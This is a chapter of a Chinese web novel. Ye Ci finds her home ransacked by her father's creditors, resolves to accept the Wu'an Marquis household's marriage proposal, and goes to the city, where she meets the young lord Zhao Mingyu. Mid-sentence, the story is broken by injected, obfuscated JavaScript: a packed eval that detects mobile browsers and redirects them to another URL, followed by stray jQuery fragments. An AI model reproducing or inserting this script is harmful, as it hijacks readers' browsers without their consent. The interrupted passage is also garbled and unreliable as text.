4. 第四章

乔二像是看出了叶慈心中所想,突兀地咳嗽了一声:“咳,醒了就先吃饭吧,你晕了一下午,肚子肯定饿了吧。”


他不说叶慈还不觉得,一说顿时觉得腹中空空如也,因为武安侯一行人还有在山上遇到的意外,叶慈除了在镇上吃了块糕点以外,一整天都滴水未进,这会儿饿得几乎能吃下一头牛。


如今家里有两个病号,祁涟忙殷勤地去灶台那边将晚饭端了出来——几个粗面窝窝头,还有一盘拌野菜。


叶慈见了大失所望:“二叔,今天都这么辛苦了,咱能不能杀只鸡吃啊?”


乔二是个糙汉子,在叶慈十五岁之前,他们家桌上除了主食以外唯一的菜就是各种换着花样折腾的野菜,因着那时候叶慈还被禁止下山,山上采买又不便,他们几乎很少吃上荤菜。


买几只鸡养在家里这个提议还是后来叶慈提出的,乔二不会养鸡,这事便由她全权负责。


叶慈觉得,今天也是时候享受一下劳动成果了。


“二叔你腿脚不便,我来杀鸡好了。”叶慈说着就要起身,却被祁涟拦住。


“慈姐姐……”他面露难色。


“怎么了?”


乔二却叹了口气:“算了,慈丫头聪明,瞒也瞒不住的。”


叶慈心中顿时升起一种不祥的预感:“到底怎么了?”


她起身朝鸡窝走过去,发现里面已经空空如也,只剩下几根乱七八糟的羽毛。


“咱家的鸡呢?”她又向灶台走过去,发现那里仿佛遭了贼一般,不仅锅碗瓢盆被洗劫一空,连旁边的木架子也东倒西歪的,像是被什么人打砸过。


她又看了祁涟和乔二的屋子,里面也是这种惨状,祁涟最喜欢的那些瓶瓶罐罐也都碎了一地,像是还没来得及收拾。


叶慈看到这些才明白方才祁涟为什么如此殷勤地端菜上菜——这两人原本是想瞒住她的,因此才在她醒来之前收拾了小院和她的屋子,只是为了不让她察觉到异常,只是时间还是太仓促了,做戏也没来得及做全套。


“是那伙山匪?”叶慈问。


乔二摇了摇头:“不确定,这伙人来的时候家里只有祁涟一个人,我没见到。”


叶慈忙问:“小涟没事吧?他们没伤害你吧?”


祁涟乖巧地摇摇头,叶慈瞧着他也确实不像受了伤的样子,倒是好像比平时还有精神,这才放心地坐了回去。


“先吃饭吧。”乔二再次张罗。


叶慈点点头,事情既然已经发生了,无论再怎么沮丧不安也无济于事,不如先做好眼前的事情。


她夹起一筷子拌野菜放到嘴里,又咬了一大口窝窝头,甚至还有空朝乔二扬起一张笑脸:“和以前一个味道,还是二叔的手艺好。”


乔二像是松了口气:“快吃吧。”


这野菜在周围长得到处都是,乔二常采来变着花样做给他们吃,其中叶慈最喜欢的做法就是凉拌,她说这是能“品尝食物本身的味道”。


“鲜咸清香。”叶慈再次评价道,她扯起嘴角,却好像若有所思,笑意也未达眼底。


连祁涟也看出来不对劲,朝乔二投向求救的眼神。


乔二看她,好像略有些无奈,张了张口,最终什么也没说。


三人的饭桌上第一次这么沉默。


乔二如往常一般三两口就填饱了肚子,祁涟小口小口小鸡啄米一般,吃了几口也说自己饱了,叶慈见两人都吃好了,也放下手中筷子。


“我来洗碗吧,慈姐姐,二叔,你们歇着。”祁涟道。


“等等。”叶慈却突然开口,她好像终于下定决心了似的,“二叔,小涟,我决定接受武安侯府的提亲。”


“什么?!”祁涟大叫一声,连喜怒不形于色的乔二也抬起眉毛,诧异地看着她。


“为什么?!慈姐姐,东西没了我们再买就是了,赚钱……我虽然不会劈柴,但我以后也可以出去做活赚钱,你……你能不能……不要抛下我?”


说话间,祁涟的眼泪便涌了出来,叶慈见他哭得梨花带雨,免不了心软,她温柔地摸摸他的头顶,说:“小涟,你也别瞒我了,那些人其实不是山匪,对不对?”


她转过脸:“二叔,在山里遇到的那几个,也不是山匪,他们都是我爹的债主派来的,对吗?”


乔二一时僵住了,眼神有些躲闪。


叶慈见状,更加确定了自己内心的猜测。


“东西被打了砸了都还能再买,但是我爹欠债的事一日不解决,这些人就还会找上门来,不管是我,小涟,还是二叔你,都过不了安生日子。”


乔二好像想说什么,被叶慈打断了:“二叔,你把我拉扯到这么大,已经很对得起我那便宜爹了,我不能再继续自私地连累你们。再说,这些人突然找上门,大概也是因为我总是偷跑下山,露出了样貌,他们才能顺着找到这儿,说到底,这也都是我的责任。”


乔二闻言,重重地叹了口气,良久才说:“你既然已经想好了,那我也不拦你,只是……”


“二叔——你怎么也这么说——呜呜呜——慈姐姐——”他话没说完,便被祁涟的哭喊声打断了。


叶慈清晰地看到乔二额角的青筋重重一跳,连忙哄小孩似的哄道:“好啦,小涟不哭了,不就是嫁人吗?茌宁离碧渠村又不远,届时你若是想我,下山去看我便是。再说了,那侯府规矩虽多,但也不是不能出门,没你想得那么可怖……”


无论叶慈怎么哄,祁涟都只是哭,好似叶慈要嫁去的不是武安侯府,而是什么龙潭虎穴。


三人就这样对坐至月上中梢,乔二将祁涟训斥一顿,才各自回了屋。


翌日,叶慈起了个大早,本想着过了一夜,祁涟应当把情绪都消化好了,没想到寻常时候早就起床对镜贴花黄的祁涟却仍然闭门不出,叶慈无奈,只好独自下山去了。


她进了碧渠村,从驿馆租了辆马车,坐马车进了茌宁。


这还是叶慈第一次进城,马车刚行过城门,便听到一阵嘈杂的叫卖声,甚是热闹,叶慈没忍住掀开帘子看去,只见街上各式的糕点小吃、首饰成衣都是她没见过的样式,她一一看过去,颇有些眼花缭乱。


“各位大侠,看看本店新锻的降龙刀,削铁如泥!”


“本店的武器都是一水儿的尖儿货,童叟无欺!”


“曾家新铸神兵,便宜卖了!”


“咦?”叶慈好奇地问车夫,“师傅,这茌宁城内怎么如此多的兵器铺子?难


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158835|165000||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


道城内不太平吗?”


车夫哈哈一笑:“姑娘一看就是第一次来茌宁吧!这茌宁城内可谓尚武成风,人人以会上些拳脚为荣呢!”


“这是为何?”


“姑娘你有所不知,这统领天下武林的武林盟,正位于咱茌宁城内,所以这天下所有豪杰,无论有名没名,总要来咱茌宁见识见识,若是碰上什么因缘,那也算是一桩美谈啊!还有那武安侯,那可是咱大允唯一的异姓侯,得了皇命亲授,监督这些武林人士不得以武犯禁,要说这现任侯爷赵渊,当年也是位风流人物啊!就是可惜天妒英才,生了个儿子,样貌虽好,就是……”


他后面的话,叶慈不听也知道了。


马车很快行至驿馆,叶慈下车后付钱后便上了街。


车夫确实所言不假,茌宁的街上除了布衣百姓,最多的便是各种武人打扮、身上背着各种武器的游人,想来便是云游各地的少侠了。


叶慈看着,心里竟然悄然升起一丝羡慕。


她穿过来之前就爱看武侠小说,心中对小说里写的快意恩仇的江湖事十分向往,穿过来之后,起初被乔二口中的“债主”吓得不敢出门,后来胆子大了,但又撇不下这个将她养育长大的别扭大叔还有那个好像离了她便一日都活不下去的便宜弟弟。


从前碧渠村中人都夸她聪明伶俐,乖巧懂事,却无人知道,她其实最想要自由。


她也想像书中大侠一样,学成一身本领,初入江湖便掀起惊涛骇浪,从此四处游历、行侠仗义。


只可惜,这样的生活,此后也不会再有了。


叶慈在心中默默按下念头,一人做事一人当,便宜爹欠的债,虽说本也不该由她还,但她也并不愿连累别人。


她这样想着,也不知不觉顺着驿馆小儿指的路走到了侯府大门口。


望着府门上那道内敛但大气的牌匾,“武安侯府”几个大字不仅是能解她燃眉之急的救命稻草,也是会吞噬她一生自由的深渊巨兽。


“什么人?”侯府守卫见她衣着简单,身上也并无武器,不像是江湖中人,在这站了这么久,还以为她是遇到什么难处想向侯府寻求帮助的普通百姓。


叶慈不卑不亢,微微作了个揖:“两位守卫大哥,劳烦通报一声,民女有事求见侯爷。”


那两人对视一眼,说道:“敢问姑娘可有拜帖,可有侯爷信物,若没有的话,侯爷公务繁忙,我等不能随意通报。”


“这……”这两个守卫说话也算客气,但奈何他们说的东西叶慈也确实没有,只得退而求其次,“若侯爷没空,小公子也行。”


“姑娘,我们小公子也不是随便什么人都见的……”


“是谁要见我?”叶慈身后响起一道清亮的声音,她回头,看到一道熟悉的、金灿灿的身影。


“赵小公子?”


“咦?娘子姐姐?”赵明予走近几步,看见是叶慈,两只眼睛都弯成了月牙儿。


叶慈才看到,那天情形匆忙,她竟未发现,这位小世子左边内眼角靠近鼻梁的地方,有一颗小痣,此刻他双眼弯弯,小痣也跟着一动,竟莫名有几分狡黠的味道。


不知怎么的,叶慈觉得,他那眼神不像傻的,倒像只不怀好意的小狐狸。